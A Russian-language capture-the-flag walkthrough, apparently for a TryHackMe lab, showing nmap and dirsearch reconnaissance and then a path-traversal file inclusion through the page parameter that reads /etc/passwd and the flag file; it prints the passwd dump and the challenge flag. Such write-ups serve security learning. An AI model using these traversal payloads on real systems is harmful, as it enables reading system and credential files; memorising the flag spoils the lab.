

# Разведка

Для начала пройдемся nmap'ом

```
nmap -sC -sV 10.10.134.254
```

```
(kali㉿kali)-[~/Desktop/VPN]
$ nmap -sC -sV 10.10.134.254
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-18 18:17 EST
Nmap scan report for 10.10.134.254
Host is up (0.073s latency).

Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 1e:b5:57:d0:c0:7e:36:86:1a:91:b3:fd:ff:a5:d7:50 (RSA)
|   256 f7:96:5d:3f:10:e0:aa:a1:7a:0e:3a:40:e3:c4:0a:d2 (ECDSA)
|_  256 b8:5c:b2:2d:24:fa:5c:1c:b4:59:a8:48:be:09:af:96 (ED25519)

80/tcp    open  http     Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Lo-Fi Music
|_http-server-header: Apache/2.2.22 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.45 seconds
```

Открыты 80 и 22 порты, пройдемся dirsearch'ем.

```
v0.4.3
[+] [!] [!] ( [!] [!] [!]
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Desktop/VPN/reports/http_10.10.134.254_80/_25-11-18_18-23-53.txt
Target: http://10.10.134.254/
[18:23:53] Starting:
[18:23:59] 403 - 242B - ./ht_wsr.txt
[18:23:59] 403 - 240B - ./htaccess.orig
[18:23:59] 403 - 240B - ./htaccess.bak1
[18:23:59] 403 - 241B - ./htaccess.sample
[18:23:59] 403 - 239B - ./htaccess.save
[18:23:59] 403 - 242B - ./htaccess_extra
[18:23:59] 403 - 239B - ./htaccess_sc
[18:23:59] 403 - 241B - ./htaccess_orig
[18:23:59] 403 - 239B - ./htaccessBAK
[18:23:59] 403 - 239B - ./htaccessOLD
[18:23:59] 403 - 239B - ./htaccessOLD2
[18:23:59] 403 - 235B - ./htm
[18:23:59] 403 - 235B - ./html
[18:23:59] 403 - 243B - ./htpasswd_test
[18:23:59] 403 - 240B - ./htpasswd
[18:23:59] 403 - 240B - ./httr-oauth
[18:24:56] 403 - 239B - /server-status
[18:24:56] 403 - 240B - /server-status/

Task Completed
```

Особо ничего не дало, идем в браузер.

10.10.134.254

Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

Lo-Fi Music

Cool beats to listen to

Relax

lofi hip hop radio - beats to relax/study to

Watch later Share

Search

Search for... Go!

Discography

Relax Sleep Chill Coffee Vibe Game

К машинке шли подсказки:

- [LFI Path Traversal](#)
- [File Inclusion](#)

Походив по страничкам замечаем некую особенность:

<http://10.10.134.254/?page=chill.php>

<http://10.10.134.254/?page=coffee.php>

Значение page меняется в зависимости от странички.

## Выбор вектора атаки

Исходя из вышеупомянутого, можно предположить что тут кроется LFI уязвимость. Эта уязвимость позволяет открывать/читать файлы с сервера, так что тут может быть плохо настроена фильтрация, что может нам позволить открыть произвольный файл.

Попробуем подкачать файл, который не рассчитан на прочтение посторонним пользователем)

В браузере пропишем следующее:

```
http://10.10.134.254/?page=../../../../etc/passwd
```

/etc/passwd данный файл можно прочитать от пользователя на сервере, а значит если уязвимость есть, мы его прочитаем

Бинго!

The screenshot shows a web browser window with the URL `10.10.134.254/?page=../../../../etc/passwd`. The page content displays a large amount of text representing a password dump from the `/etc/passwd` file. The dump includes entries for root, sys, and many other system users, along with their respective home directories and shell information.

## Cool beats to listen to

```
root:x:0:0:root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin/sh
sys:x:3:3:sys:/dev/bin/sh
sync:x:4:65534:sync:/bin/bin/sync
games:x:5:60:games:/usr/games/
bin/sh man:x:6:12:man:/var/cache/man/bin/sh
lp:x:7:7:lp:/var/spool/lpd/bin/sh
mail:x:8:8:mail:/var/mail/bin/sh
news:x:9:9:news:/var/spool/news/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp/bin/
sh proxy:x:13:13:proxy:/bin/sh
www-data:x:33:33:www-data:/var/www/bin/sh
backup:x:34:34:backup:/var/backups/bin/sh
list:x:38:38:Mailing List Manager:/var/list/bin/sh
irc:x:39:39:ircd:/var/run/ircd/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats/bin/sh
nobody:x:65534:65534:nobody:/nonexistent/bin/sh
libuuid:x:100:101::/var/lib/libuuid/bin/sh
```

Search

Search for...

Go!

### Discography

Relax  
Sleep  
Chill  
Coffee  
Vibe  
Game

фильтр вообще отсутствует

## Эксплуатация

В TryHackMe и др. флаг обычно представляет собой `flag{...}`, при этом хранится в файле типа `flag.txt` Попробуем найти его перебрав соедующие пути:

<http://10.10.134.254/?page=../../../../flag>

<http://10.10.134.254/?page=../../../../flag.txt>

<http://10.10.134.254/?page=../../../../FLAG>

<http://10.10.134.254/?page=../../../../home/flag/flag>

О да, это сработало)

The screenshot shows a web browser window with the URL `10.10.134.254/?page=../../../../flag.txt`. The page content displays the flag text: `flag{e4478e0eab69bd642b8238765dcb7d18}`.

## Cool beats to listen to

```
flag{e4478e0eab69bd642b8238765dcb7d18}
```

Search

Search for...

Go!

### Discography

Relax  
Sleep  
Chill  
Coffee  
Vibe  
Game

Вот он наш флаг:

```
flag{e4478e0eab69bd642b8238765dcb7d18}
```